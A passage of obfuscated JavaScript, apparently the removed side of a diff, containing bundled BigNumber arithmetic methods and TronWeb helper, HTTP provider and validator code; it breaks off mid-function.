- return !_0x41f3d9.c || !_0x513dec.s || _0x513dec.c && !_0x513dec.c[0] ? new _0x3ff58d(NaN) : !_0x513dec.c || _0x41f3d9.c && !_0x41f3d9.c[0] ? new _0x3ff58d(_0x41f3d9) : (9 == _0x361afe ? (_0x2bf79f = _0x513dec.s, _0x513dec.s = 1, _0x4e3f4e = _0x532966(_0x41f3d9, _0x513dec, 0, 3), _0x513dec.s = _0x2bf79f, _0x4e3f4e.s *= _0x2bf79f) : _0x4e3f4e = _0x532966(_0x41f3d9, _0x513dec, 0, _0x361afe), (_0x513dec = _0x41f3d9.minus(_0x4e3f4e.times(_0x513dec))).c[0] || 1 != _0x361afe || (_0x513dec.s = _0x41f3d9.s), _0x513dec);
- };
- _0x1b0629.multipliedBy = _0x1b0629.times = function (_0x4fb901, _0x1b0c34) {
- var _0xeaa3b6;
- var _0x10ceec;
- var _0x18930c;
- var _0x250643;
- var _0x3627ae;
- var _0x3382ca;
- var _0x20b19d;
- var _0x16f1da;
- var _0x118e47;
- var _0x2741e3;
- var _0x2df67e;
- var _0x24538b;
- var _0x498f4d;
- var _0x47d477;
- var _0x399696;
- var _0x285f0a = this;
- var _0xc8be7b = _0x285f0a.c;
- var _0x3dde08 = (_0x4fb901 = new _0x3ff58d(_0x4fb901, _0x1b0c34)).c;
- if (!(_0xc8be7b && _0x3dde08 && _0xc8be7b[0] && _0x3dde08[0])) {
- !_0x285f0a.s || !_0x4fb901.s || _0xc8be7b && !_0xc8be7b[0] && !_0x3dde08 || _0x3dde08 && !_0x3dde08[0] && !_0xc8be7b ? _0x4fb901.c = _0x4fb901.e = _0x4fb901.s = null : (_0x4fb901.s *= _0x285f0a.s, _0xc8be7b && _0x3dde08 ? (_0x4fb901.c = [0], _0x4fb901.e = 0) : _0x4fb901.c = _0x4fb901.e = null);
- return _0x4fb901;
- }
- for (_0x10ceec = _0x1d3694(_0x285f0a.e / _0x5a3fe5) + _0x1d3694(_0x4fb901.e / _0x5a3fe5), _0x4fb901.s *= _0x285f0a.s, (_0x20b19d = _0xc8be7b.length) < (_0x2741e3 = _0x3dde08.length) && (_0x498f4d = _0xc8be7b, _0xc8be7b = _0x3dde08, _0x3dde08 = _0x498f4d, _0x18930c = _0x20b19d, _0x20b19d = _0x2741e3, _0x2741e3 = _0x18930c), _0x18930c = _0x20b19d + _0x2741e3, _0x498f4d = []; _0x18930c--; _0x498f4d.push(0)) {}
- for (_0x47d477 = _0x3dffa6, _0x399696 = _0x21980b, _0x18930c = _0x2741e3; --_0x18930c >= 0;) {
- for (_0xeaa3b6 = 0, _0x2df67e = _0x3dde08[_0x18930c] % _0x399696, _0x24538b = _0x3dde08[_0x18930c] / _0x399696 | 0, _0x250643 = _0x18930c + (_0x3627ae = _0x20b19d); _0x250643 > _0x18930c;) {
- _0xeaa3b6 = ((_0x16f1da = _0x2df67e * (_0x16f1da = _0xc8be7b[--_0x3627ae] % _0x399696) + (_0x3382ca = _0x24538b * _0x16f1da + (_0x118e47 = _0xc8be7b[_0x3627ae] / _0x399696 | 0) * _0x2df67e) % _0x399696 * _0x399696 + _0x498f4d[_0x250643] + _0xeaa3b6) / _0x47d477 | 0) + (_0x3382ca / _0x399696 | 0) + _0x24538b * _0x118e47;
- _0x498f4d[_0x250643--] = _0x16f1da % _0x47d477;
- }
- _0x498f4d[_0x250643] = _0xeaa3b6;
- }
- _0xeaa3b6 ? ++_0x10ceec : _0x498f4d.splice(0, 1);
- return _0x247158(_0x4fb901, _0x498f4d, _0x10ceec);
- };
- _0x1b0629.negated = function () {
- var _0x50c3ce = new _0x3ff58d(this);
- _0x50c3ce.s = -_0x50c3ce.s || null;
- return _0x50c3ce;
- };
- _0x1b0629.plus = function (_0x3d82f7, _0x2c0d27) {
- var _0x3f36ca;
- var _0xc4e14c = this;
- var _0x30c6e7 = _0xc4e14c.s;
- if (_0x2c0d27 = (_0x3d82f7 = new _0x3ff58d(_0x3d82f7, _0x2c0d27)).s, !_0x30c6e7 || !_0x2c0d27) {
- return new _0x3ff58d(NaN);
- }
- if (_0x30c6e7 != _0x2c0d27) {
- _0x3d82f7.s = -_0x2c0d27;
- return _0xc4e14c.minus(_0x3d82f7);
- }
- var _0x311b2a = _0xc4e14c.e / _0x5a3fe5;
- var _0x5e3423 = _0x3d82f7.e / _0x5a3fe5;
- var _0x40c169 = _0xc4e14c.c;
- var _0x2b1bfb = _0x3d82f7.c;
- if (!_0x311b2a || !_0x5e3423) {
- if (!_0x40c169 || !_0x2b1bfb) {
- return new _0x3ff58d(_0x30c6e7 / 0);
- }
- if (!_0x40c169[0] || !_0x2b1bfb[0]) {
- return _0x2b1bfb[0] ? _0x3d82f7 : new _0x3ff58d(_0x40c169[0] ? _0xc4e14c : 0 * _0x30c6e7);
- }
- }
- if (_0x311b2a = _0x1d3694(_0x311b2a), _0x5e3423 = _0x1d3694(_0x5e3423), _0x40c169 = _0x40c169.slice(), _0x30c6e7 = _0x311b2a - _0x5e3423) {
- for (_0x30c6e7 > 0 ? (_0x5e3423 = _0x311b2a, _0x3f36ca = _0x2b1bfb) : (_0x30c6e7 = -_0x30c6e7, _0x3f36ca = _0x40c169), _0x3f36ca.reverse(); _0x30c6e7--; _0x3f36ca.push(0)) {}
- _0x3f36ca.reverse();
- }
- for ((_0x30c6e7 = _0x40c169.length) - (_0x2c0d27 = _0x2b1bfb.length) < 0 && (_0x3f36ca = _0x2b1bfb, _0x2b1bfb = _0x40c169, _0x40c169 = _0x3f36ca, _0x2c0d27 = _0x30c6e7), _0x30c6e7 = 0; _0x2c0d27;) {
- _0x30c6e7 = (_0x40c169[--_0x2c0d27] = _0x40c169[_0x2c0d27] + _0x2b1bfb[_0x2c0d27] + _0x30c6e7) / _0x3dffa6 | 0;
- _0x40c169[_0x2c0d27] = _0x3dffa6 === _0x40c169[_0x2c0d27] ? 0 : _0x40c169[_0x2c0d27] % _0x3dffa6;
- }
- _0x30c6e7 && (_0x40c169 = [_0x30c6e7].concat(_0x40c169), ++_0x5e3423);
- return _0x247158(_0x3d82f7, _0x40c169, _0x5e3423);
- };
- _0x1b0629.precision = _0x1b0629.sd = function (_0x52c123, _0x19b360) {
- var _0x38de94;
- var _0x25c8f0;
- var _0xa916dc;
- var _0x41a402 = this;
- if (null != _0x52c123 && _0x52c123 !== !!_0x52c123) {
- _0x37340e(_0x52c123, 1, _0x428e83);
- null == _0x19b360 ? _0x19b360 = _0xa4c222 : _0x37340e(_0x19b360, 0, 8);
- return _0x5e97ff(new _0x3ff58d(_0x41a402), _0x52c123, _0x19b360);
- }
- if (!(_0x38de94 = _0x41a402.c)) {
- return null;
- }
- if (_0x25c8f0 = (_0xa916dc = _0x38de94.length - 1) * _0x5a3fe5 + 1, _0xa916dc = _0x38de94[_0xa916dc]) {
- for (; _0xa916dc % 10 == 0; _0xa916dc /= 10, _0x25c8f0--) {}
- for (_0xa916dc = _0x38de94[0]; _0xa916dc >= 10; _0xa916dc /= 10, _0x25c8f0++) {}
- }
- _0x52c123 && _0x41a402.e + 1 > _0x25c8f0 && (_0x25c8f0 = _0x41a402.e + 1);
- return _0x25c8f0;
- };
- _0x1b0629.shiftedBy = function (_0x2f1462) {
- _0x37340e(_0x2f1462, -_0x3b71d9, _0x3b71d9);
- return this.times("1e" + _0x2f1462);
- };
- _0x1b0629.squareRoot = _0x1b0629.sqrt = function () {
- var _0x2dd93b;
- var _0xff054e;
- var _0x2d3407;
- var _0x33443a;
- var _0x47bf9e;
- var _0x232fda = this;
- var _0x542adb = _0x232fda.c;
- var _0x468f22 = _0x232fda.s;
- var _0x18aa08 = _0x232fda.e;
- var _0x3ba925 = _0x5360a8 + 4;
- var _0x346ea5 = new _0x3ff58d("0.5");
- if (1 !== _0x468f22 || !_0x542adb || !_0x542adb[0]) {
- return new _0x3ff58d(!_0x468f22 || _0x468f22 < 0 && (!_0x542adb || _0x542adb[0]) ? NaN : _0x542adb ? _0x232fda : Infinity);
- }
- if (0 == (_0x468f22 = Math.sqrt(+_0x45dd1d(_0x232fda))) || _0x468f22 == Infinity ? (((_0xff054e = _0x6d6fb9(_0x542adb)).length + _0x18aa08) % 2 == 0 && (_0xff054e += "0"), _0x468f22 = Math.sqrt(+_0xff054e), _0x18aa08 = _0x1d3694((_0x18aa08 + 1) / 2) - (_0x18aa08 < 0 || _0x18aa08 % 2), _0x2d3407 = new _0x3ff58d(_0xff054e = _0x468f22 == Infinity ? "5e" + _0x18aa08 : (_0xff054e = _0x468f22.toExponential()).slice(0, _0xff054e.indexOf("e") + 1) + _0x18aa08)) : _0x2d3407 = new _0x3ff58d(_0x468f22 + ""), _0x2d3407.c[0]) {
- for ((_0x468f22 = (_0x18aa08 = _0x2d3407.e) + _0x3ba925) < 3 && (_0x468f22 = 0);;) {
- if (_0x47bf9e = _0x2d3407, _0x2d3407 = _0x346ea5.times(_0x47bf9e.plus(_0x532966(_0x232fda, _0x47bf9e, _0x3ba925, 1))), _0x6d6fb9(_0x47bf9e.c).slice(0, _0x468f22) === (_0xff054e = _0x6d6fb9(_0x2d3407.c)).slice(0, _0x468f22)) {
- if (_0x2d3407.e < _0x18aa08 && --_0x468f22, "9999" != (_0xff054e = _0xff054e.slice(_0x468f22 - 3, _0x468f22 + 1)) && (_0x33443a || "4999" != _0xff054e)) {
- +_0xff054e && (+_0xff054e.slice(1) || "5" != _0xff054e.charAt(0)) || (_0x5e97ff(_0x2d3407, _0x2d3407.e + _0x5360a8 + 2, 1), _0x2dd93b = !_0x2d3407.times(_0x2d3407).eq(_0x232fda));
- break;
- }
- if (!_0x33443a && (_0x5e97ff(_0x47bf9e, _0x47bf9e.e + _0x5360a8 + 2, 0), _0x47bf9e.times(_0x47bf9e).eq(_0x232fda))) {
- _0x2d3407 = _0x47bf9e;
- break;
- }
- _0x3ba925 += 4;
- _0x468f22 += 4;
- _0x33443a = 1;
- }
- }
- }
- return _0x5e97ff(_0x2d3407, _0x2d3407.e + _0x5360a8 + 1, _0xa4c222, _0x2dd93b);
- };
- _0x1b0629.toExponential = function (_0x3762c8, _0x331075) {
- null != _0x3762c8 && (_0x37340e(_0x3762c8, 0, _0x428e83), _0x3762c8++);
- return _0x4c4e1b(this, _0x3762c8, _0x331075, 1);
- };
- _0x1b0629.toFixed = function (_0x4d71ac, _0xbfd7d0) {
- null != _0x4d71ac && (_0x37340e(_0x4d71ac, 0, _0x428e83), _0x4d71ac = _0x4d71ac + this.e + 1);
- return _0x4c4e1b(this, _0x4d71ac, _0xbfd7d0);
- };
- _0x1b0629.toFormat = function (_0x55ca38, _0x1dee41, _0x343326) {
- var _0x1be6a6;
- var _0x550ad2 = this;
- if (null == _0x343326) {
- null != _0x55ca38 && _0x1dee41 && "object" == typeof _0x1dee41 ? (_0x343326 = _0x1dee41, _0x1dee41 = null) : _0x55ca38 && "object" == typeof _0x55ca38 ? (_0x343326 = _0x55ca38, _0x55ca38 = _0x1dee41 = null) : _0x343326 = _0xc70013;
- } else {
- if ("object" != typeof _0x343326) {
- throw Error(_0x846cf9 + "Argument not an object: " + _0x343326);
- }
- }
- if (_0x1be6a6 = _0x550ad2.toFixed(_0x55ca38, _0x1dee41), _0x550ad2.c) {
- var _0x3b84c0;
- var _0x31fad6 = _0x1be6a6.split(".");
- var _0x24d499 = +_0x343326.groupSize;
- var _0x31a0f3 = +_0x343326.secondaryGroupSize;
- var _0x2c7343 = _0x343326.groupSeparator || "";
- var _0x1e3be8 = _0x31fad6[0];
- var _0x89c682 = _0x31fad6[1];
- var _0x11a68e = _0x550ad2.s < 0;
- var _0x4936d5 = _0x11a68e ? _0x1e3be8.slice(1) : _0x1e3be8;
- var _0x58f0f9 = _0x4936d5.length;
- if (_0x31a0f3 && (_0x3b84c0 = _0x24d499, _0x24d499 = _0x31a0f3, _0x31a0f3 = _0x3b84c0, _0x58f0f9 -= _0x3b84c0), _0x24d499 > 0 && _0x58f0f9 > 0) {
- for (_0x3b84c0 = _0x58f0f9 % _0x24d499 || _0x24d499, _0x1e3be8 = _0x4936d5.substr(0, _0x3b84c0); _0x3b84c0 < _0x58f0f9; _0x3b84c0 += _0x24d499) {
- _0x1e3be8 += _0x2c7343 + _0x4936d5.substr(_0x3b84c0, _0x24d499);
- }
- _0x31a0f3 > 0 && (_0x1e3be8 += _0x2c7343 + _0x4936d5.slice(_0x3b84c0));
- _0x11a68e && (_0x1e3be8 = "-" + _0x1e3be8);
- }
- _0x1be6a6 = _0x89c682 ? _0x1e3be8 + (_0x343326.decimalSeparator || "") + ((_0x31a0f3 = +_0x343326.fractionGroupSize) ? _0x89c682.replace(new RegExp("\\d{" + _0x31a0f3 + "}\\B", "g"), "$&" + (_0x343326.fractionGroupSeparator || "")) : _0x89c682) : _0x1e3be8;
- }
- return (_0x343326.prefix || "") + _0x1be6a6 + (_0x343326.suffix || "");
- };
- _0x1b0629.toFraction = function (_0x4d3d74) {
- var _0x1997cf;
- var _0x225d6f;
- var _0x1d13e5;
- var _0x4c9f8f;
- var _0x8ec0dd;
- var _0x54edbb;
- var _0x4733e1;
- var _0xca216;
- var _0x5f0653;
- var _0x106b0e;
- var _0x483db7;
- var _0x38eede;
- var _0x590b24 = this;
- var _0x1ac374 = _0x590b24.c;
- if (null != _0x4d3d74 && (!(_0x4733e1 = new _0x3ff58d(_0x4d3d74)).isInteger() && (_0x4733e1.c || 1 !== _0x4733e1.s) || _0x4733e1.lt(_0x1febf1))) {
- throw Error(_0x846cf9 + "Argument " + (_0x4733e1.isInteger() ? "out of range: " : "not an integer: ") + _0x45dd1d(_0x4733e1));
- }
- if (!_0x1ac374) {
- return new _0x3ff58d(_0x590b24);
- }
- for (_0x1997cf = new _0x3ff58d(_0x1febf1), _0x5f0653 = _0x225d6f = new _0x3ff58d(_0x1febf1), _0x1d13e5 = _0xca216 = new _0x3ff58d(_0x1febf1), _0x38eede = _0x6d6fb9(_0x1ac374), _0x8ec0dd = _0x1997cf.e = _0x38eede.length - _0x590b24.e - 1, _0x1997cf.c[0] = _0x2679ea[(_0x54edbb = _0x8ec0dd % _0x5a3fe5) < 0 ? _0x5a3fe5 + _0x54edbb : _0x54edbb], _0x4d3d74 = !_0x4d3d74 || _0x4733e1.comparedTo(_0x1997cf) > 0 ? _0x8ec0dd > 0 ? _0x1997cf : _0x5f0653 : _0x4733e1, _0x54edbb = _0x12bdeb, _0x12bdeb = Infinity, _0x4733e1 = new _0x3ff58d(_0x38eede), _0xca216.c[0] = 0; _0x106b0e = _0x532966(_0x4733e1, _0x1997cf, 0, 1), 1 != (_0x4c9f8f = _0x225d6f.plus(_0x106b0e.times(_0x1d13e5))).comparedTo(_0x4d3d74);) {
- _0x225d6f = _0x1d13e5;
- _0x1d13e5 = _0x4c9f8f;
- _0x5f0653 = _0xca216.plus(_0x106b0e.times(_0x4c9f8f = _0x5f0653));
- _0xca216 = _0x4c9f8f;
- _0x1997cf = _0x4733e1.minus(_0x106b0e.times(_0x4c9f8f = _0x1997cf));
- _0x4733e1 = _0x4c9f8f;
- }
- _0x4c9f8f = _0x532966(_0x4d3d74.minus(_0x225d6f), _0x1d13e5, 0, 1);
- _0xca216 = _0xca216.plus(_0x4c9f8f.times(_0x5f0653));
- _0x225d6f = _0x225d6f.plus(_0x4c9f8f.times(_0x1d13e5));
- _0xca216.s = _0x5f0653.s = _0x590b24.s;
- _0x483db7 = _0x532966(_0x5f0653, _0x1d13e5, _0x8ec0dd *= 2, _0xa4c222).minus(_0x590b24).abs().comparedTo(_0x532966(_0xca216, _0x225d6f, _0x8ec0dd, _0xa4c222).minus(_0x590b24).abs()) < 1 ? [_0x5f0653, _0x1d13e5] : [_0xca216, _0x225d6f];
- _0x12bdeb = _0x54edbb;
- return _0x483db7;
- };
- _0x1b0629.toNumber = function () {
- return +_0x45dd1d(this);
- };
- _0x1b0629.toPrecision = function (_0x3c78f7, _0x225faf) {
- null != _0x3c78f7 && _0x37340e(_0x3c78f7, 1, _0x428e83);
- return _0x4c4e1b(this, _0x3c78f7, _0x225faf, 2);
- };
- _0x1b0629.toString = function (_0x4ba6c8) {
- var _0x4c028a;
- var _0x413eb2 = this;
- var _0x1cac78 = _0x413eb2.s;
- var _0x320c24 = _0x413eb2.e;
- null === _0x320c24 ? _0x1cac78 ? (_0x4c028a = "Infinity", _0x1cac78 < 0 && (_0x4c028a = "-" + _0x4c028a)) : _0x4c028a = "NaN" : (null == _0x4ba6c8 ? _0x4c028a = _0x320c24 <= _0x416246 || _0x320c24 >= _0x3b7897 ? _0x5b2408(_0x6d6fb9(_0x413eb2.c), _0x320c24) : _0x1453ac(_0x6d6fb9(_0x413eb2.c), _0x320c24, "0") : 10 === _0x4ba6c8 && _0x18b76f ? _0x4c028a = _0x1453ac(_0x6d6fb9((_0x413eb2 = _0x5e97ff(new _0x3ff58d(_0x413eb2), _0x5360a8 + _0x320c24 + 1, _0xa4c222)).c), _0x413eb2.e, "0") : (_0x37340e(_0x4ba6c8, 2, _0x52533a.length, "Base"), _0x4c028a = _0x310054(_0x1453ac(_0x6d6fb9(_0x413eb2.c), _0x320c24, "0"), 10, _0x4ba6c8, _0x1cac78, true)), _0x1cac78 < 0 && _0x413eb2.c[0] && (_0x4c028a = "-" + _0x4c028a));
- return _0x4c028a;
- };
- _0x1b0629.valueOf = _0x1b0629.toJSON = function () {
- return _0x45dd1d(this);
- };
- _0x1b0629._isBigNumber = true;
- _0x1b0629[Symbol.toStringTag] = "BigNumber";
- _0x1b0629[Symbol.for("nodejs.util.inspect.custom")] = _0x1b0629.valueOf;
- null != _0x22b542 && _0x3ff58d.set(_0x22b542);
- return _0x3ff58d;
- }();
- const _0x12bb2f = _0x3862aa;
- function _0x4927aa(_0x1245fa, _0x114a7a) {
- var _0x2bbf9e = Object.keys(_0x1245fa);
- if (Object.getOwnPropertySymbols) {
- var _0x527372 = Object.getOwnPropertySymbols(_0x1245fa);
- _0x114a7a && (_0x527372 = _0x527372.filter(function (_0xf63435) {
- return Object.getOwnPropertyDescriptor(_0x1245fa, _0xf63435).enumerable;
- }));
- _0x2bbf9e.push.apply(_0x2bbf9e, _0x527372);
- }
- return _0x2bbf9e;
- }
- function _0x1ece8e(_0x6f6ca6) {
- for (var _0x21496d = 1; _0x21496d < arguments.length; _0x21496d++) {
- var _0xe51225 = null != arguments[_0x21496d] ? arguments[_0x21496d] : {};
- _0x21496d % 2 ? _0x4927aa(Object(_0xe51225), true).forEach(function (_0x2397cd) {
- _0x713ed3(_0x6f6ca6, _0x2397cd, _0xe51225[_0x2397cd]);
- }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(_0x6f6ca6, Object.getOwnPropertyDescriptors(_0xe51225)) : _0x4927aa(Object(_0xe51225)).forEach(function (_0xcb1385) {
- Object.defineProperty(_0x6f6ca6, _0xcb1385, Object.getOwnPropertyDescriptor(_0xe51225, _0xcb1385));
- });
- }
- return _0x6f6ca6;
- }
- var _0x491f30 = {
- isValidURL: function (_0x302aa1) {
- return "string" == typeof _0x302aa1 && _0xfd4cf3().isURL(_0x302aa1.toString(), {
- protocols: ["http", "https"],
- require_tld: false
- });
- },
- isObject: function (_0x4a36ec) {
- return _0x4a36ec === Object(_0x4a36ec) && "[object Array]" !== Object.prototype.toString.call(_0x4a36ec);
- },
- isArray: function (_0x553546) {
- return Array.isArray(_0x553546);
- },
- isJson: function (_0x3c0f25) {
- try {
- return !!JSON.parse(_0x3c0f25);
- } catch (_0x1f2e0e) {
- return false;
- }
- },
- isBoolean: function (_0xcf1e8d) {
- return "boolean" == typeof _0xcf1e8d;
- },
- isBigNumber: function (_0xb3338f) {
- return _0xb3338f && (_0xb3338f instanceof _0x12bb2f || _0xb3338f.constructor && "BigNumber" === _0xb3338f.constructor.name);
- },
- isString: function (_0x9eb1bf) {
- return "string" == typeof _0x9eb1bf || _0x9eb1bf && _0x9eb1bf.constructor && "String" === _0x9eb1bf.constructor.name;
- },
- isFunction: function (_0x500dd5) {
- return "function" == typeof _0x500dd5;
- },
- isHex: function (_0x5a9d80) {
- return "string" == typeof _0x5a9d80 && !isNaN(parseInt(_0x5a9d80, 16)) && /^(0x|)[a-fA-F0-9]+$/.test(_0x5a9d80);
- },
- isInteger: function (_0x4888c9) {
- return null !== _0x4888c9 && Number.isInteger(Number(_0x4888c9));
- },
- hasProperty: function (_0xfc064, _0x42b6ab) {
- return Object.prototype.hasOwnProperty.call(_0xfc064, _0x42b6ab);
- },
- hasProperties: function (_0x269f13) {
- for (var _0x526cce = this, _0x3109e2 = arguments.length, _0x4c5158 = new Array(_0x3109e2 > 1 ? _0x3109e2 - 1 : 0), _0x2b72a8 = 1; _0x2b72a8 < _0x3109e2; _0x2b72a8++) {
- _0x4c5158[_0x2b72a8 - 1] = arguments[_0x2b72a8];
- }
- return _0x4c5158.length && !_0x4c5158.map(function (_0x331e1b) {
- return _0x526cce.hasProperty(_0x269f13, _0x331e1b);
- }).includes(false);
- },
- mapEvent: function (_0x5eb196) {
- var _0x280672 = {
- block: _0x5eb196.block_number,
- timestamp: _0x5eb196.block_timestamp,
- contract: _0x5eb196.contract_address,
- name: _0x5eb196.event_name,
- transaction: _0x5eb196.transaction_id,
- result: _0x5eb196.result,
- resourceNode: _0x5eb196.resource_Node || (_0x5eb196._unconfirmed ? "fullNode" : "solidityNode")
- };
- _0x5eb196._unconfirmed && (_0x280672.unconfirmed = _0x5eb196._unconfirmed);
- _0x5eb196._fingerprint && (_0x280672.fingerprint = _0x5eb196._fingerprint);
- return _0x280672;
- },
- parseEvent: function (_0x154923, _0x5a1886) {
- var _0x43a61b = _0x5a1886.inputs;
- if (!_0x154923.result) {
- return _0x154923;
- }
- if (this.isObject(_0x154923.result)) {
- for (var _0x2c0b27 = 0; _0x2c0b27 < _0x43a61b.length; _0x2c0b27++) {
- var _0x4b98cb = _0x43a61b[_0x2c0b27];
- "address" == _0x4b98cb.type && _0x4b98cb.name in _0x154923.result && (_0x154923.result[_0x4b98cb.name] = _0x40cce0 + _0x154923.result[_0x4b98cb.name].substr(2).toLowerCase());
- }
- } else {
- this.isArray(_0x154923.result) && (_0x154923.result = _0x154923.result.reduce(function (_0x187760, _0x58c1d6, _0x2eae1c) {
- var _0x18fc01 = _0x43a61b[_0x2eae1c];
- var _0x104de0 = _0x18fc01.name;
- "address" == _0x18fc01.type && (_0x58c1d6 = _0x40cce0 + _0x58c1d6.substr(2).toLowerCase());
- _0x187760[_0x104de0] = _0x58c1d6;
- return _0x187760;
- }, {}));
- }
- return _0x154923;
- },
- padLeft: function (_0x339fe9, _0x117d90, _0x5dd431) {
- for (var _0x2e7e88 = _0x339fe9.toString(); _0x2e7e88.length < _0x5dd431;) {
- _0x2e7e88 = _0x117d90 + _0x2e7e88;
- }
- return _0x2e7e88;
- },
- isNotNullOrUndefined: function (_0x2cb330) {
- return null != _0x2cb330;
- },
- sleep: function () {
- var _0x184d4d = arguments;
- return _0x203d83(_0x307918().mark(function _0x3ad1d9() {
- var _0x33771b;
- return _0x307918().wrap(function (_0x38ba21) {
- for (;;) {
- switch (_0x38ba21.prev = _0x38ba21.next) {
- case 0:
- _0x33771b = _0x184d4d.length > 0 && undefined !== _0x184d4d[0] ? _0x184d4d[0] : 1000;
- return _0x38ba21.abrupt("return", new Promise(function (_0x169b61) {
- return setTimeout(_0x169b61, _0x33771b);
- }));
- case 2:
- case "end":
- return _0x38ba21.stop();
- }
- }
- }, _0x3ad1d9);
- }))();
- }
- };
- const _0x1db97c = _0x1ece8e(_0x1ece8e({}, _0x491f30), {}, {
- code: _0x16ff45,
- accounts: _0x485ab2,
- base58: _0x1dc9ea,
- bytes: _0x284252,
- crypto: _0x278339,
- abi: _0x58e549,
- message: _0xae689f,
- _TypedDataEncoder: _0x2fa62b,
- transaction: _0x3c4402,
- ethersUtils: _0x14c6d6
- });
- const _0x2ebe37 = {
- HttpProvider: function () {
- function _0x493e7c(_0x551169) {
- var _0x540291 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 30000;
- var _0x3366c3 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- var _0x3d2a2e = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- var _0x517f84 = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : {};
- var _0x4bc70d = arguments.length > 5 && undefined !== arguments[5] ? arguments[5] : "/";
- if (_0x1d998d(this, _0x493e7c), !_0x1db97c.isValidURL(_0x551169)) {
- throw new Error("Invalid URL provided to HttpProvider");
- }
- if (isNaN(_0x540291) || _0x540291 < 0) {
- throw new Error("Invalid timeout duration provided");
- }
- if (!_0x1db97c.isObject(_0x517f84)) {
- throw new Error("Invalid headers object provided");
- }
- _0x551169 = _0x551169.replace(/\/+$/, "");
- this.host = _0x551169;
- this.timeout = _0x540291;
- this.user = _0x3366c3;
- this.password = _0x3d2a2e;
- this.headers = _0x517f84;
- this.statusPage = _0x4bc70d;
- this.instance = _0x498859.create({
- baseURL: _0x551169,
- timeout: _0x540291,
- headers: _0x517f84,
- auth: _0x3366c3 && {
- user: _0x3366c3,
- password: _0x3d2a2e
- }
- });
- }
- var _0x51dddd;
- _0x561e78(_0x493e7c, [{
- key: "setStatusPage",
- value: function () {
- var _0x1a209d = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : "/";
- this.statusPage = _0x1a209d;
- }
- }, {
- key: "isConnected",
- value: (_0x51dddd = _0x203d83(_0x307918().mark(function _0x2cb144() {
- var _0xe72940;
- var _0x59dfda = arguments;
- return _0x307918().wrap(function (_0x11fc33) {
- for (;;) {
- switch (_0x11fc33.prev = _0x11fc33.next) {
- case 0:
- _0xe72940 = _0x59dfda.length > 0 && undefined !== _0x59dfda[0] ? _0x59dfda[0] : this.statusPage;
- return _0x11fc33.abrupt("return", this.request(_0xe72940).then(function (_0x16985f) {
- return _0x1db97c.hasProperties(_0x16985f, "blockID", "block_header");
- }).catch(function () {
- return false;
- }));
- case 2:
- case "end":
- return _0x11fc33.stop();
- }
- }
- }, _0x2cb144, this);
- })), function () {
- return _0x51dddd.apply(this, arguments);
- })
- }, {
- key: "request",
- value: function (_0x1dd4db) {
- var _0x47d40f = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- var _0xdc4789 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : "get";
- _0xdc4789 = _0xdc4789.toLowerCase();
- return this.instance.request({
- data: "post" == _0xdc4789 && Object.keys(_0x47d40f).length ? _0x47d40f : null,
- params: "get" == _0xdc4789 && _0x47d40f,
- url: _0x1dd4db,
- method: _0xdc4789
- }).then(function (_0x2f8d3b) {
- return _0x2f8d3b.data;
- });
- }
- }]);
- return _0x493e7c;
- }()
- };
- var _0x2f91a8 = _0x242c38(6729);
- var _0x931b86 = _0x242c38.n(_0x2f91a8);
- var _0x492c7b = _0x242c38(6625);
- var _0x5472cb = _0x242c38.n(_0x492c7b);
- var _0x4a6f12 = _0x242c38(7832);
- var _0x13268c = _0x242c38.n(_0x4a6f12);
- function _0x41aed8(_0x212114, _0x3f2f31) {
- (null == _0x3f2f31 || _0x3f2f31 > _0x212114.length) && (_0x3f2f31 = _0x212114.length);
- for (var _0x4c727a = 0, _0x36a3ff = new Array(_0x3f2f31); _0x4c727a < _0x3f2f31; _0x4c727a++) {
- _0x36a3ff[_0x4c727a] = _0x212114[_0x4c727a];
- }
- return _0x36a3ff;
- }
- var _0x40e30d;
- var _0x4e6fd5 = function () {
- function _0x3619c6() {
- var _0x324fbb = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (_0x1d998d(this, _0x3619c6), !_0x324fbb || !_0x324fbb instanceof _0x2d34c8) {
- throw new Error("Expected instance of TronWeb");
- }
- this.tronWeb = _0x324fbb;
- }
- _0x561e78(_0x3619c6, [{
- key: "invalid",
- value: function (_0x164e49) {
- return _0x164e49.msg || "Invalid ".concat(_0x164e49.name).concat("address" === _0x164e49.type ? " address" : "", " provided");
- }
- }, {
- key: "notPositive",
- value: function (_0x5eda07) {
- return "".concat(_0x5eda07.name, " must be a positive integer");
- }
- }, {
- key: "notEqual",
- value: function (_0xaf9e1c) {
- return _0xaf9e1c.msg || "".concat(_0xaf9e1c.names[0], " can not be equal to ").concat(_0xaf9e1c.names[1]);
- }
- }, {
- key: "notValid",
- value: function () {
- var _0x4e9e1f;
- var _0x26301b = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : [];
- var _0x25f7cc = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : new Function();
- var _0x2b62e1 = {};
- var _0x126be4 = false;
- var _0x96784c = function (_0x2720ea, _0xdd2727) {
- var _0x37a652 = "undefined" != typeof Symbol && _0x2720ea[Symbol.iterator] || _0x2720ea["@@iterator"];
- if (!_0x37a652) {
- if (Array.isArray(_0x2720ea) || (_0x37a652 = function (_0x451675, _0x2ceb8e) {
- if (_0x451675) {
- if ("string" == typeof _0x451675) {
- return _0x41aed8(_0x451675, _0x2ceb8e);
- }
- var _0x101f8c = Object.prototype.toString.call(_0x451675).slice(8, -1);
- "Object" === _0x101f8c && _0x451675.constructor && (_0x101f8c = _0x451675.constructor.name);
- return "Map" === _0x101f8c || "Set" === _0x101f8c ? Array.from(_0x451675) : "Arguments" === _0x101f8c || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x101f8c) ? _0x41aed8(_0x451675, _0x2ceb8e) : undefined;
- }
- }(_0x2720ea)) || _0xdd2727 && _0x2720ea && "number" == typeof _0x2720ea.length) {
- _0x37a652 && (_0x2720ea = _0x37a652);
- var _0x43f3d9 = 0;
- var _0x544795 = function () {};
- return {
- s: _0x544795,
- n: function () {
- return _0x43f3d9 >= _0x2720ea.length ? {
- done: true
- } : {
- done: false,
- value: _0x2720ea[_0x43f3d9++]
- };
- },
- e: function (_0x4e98b5) {
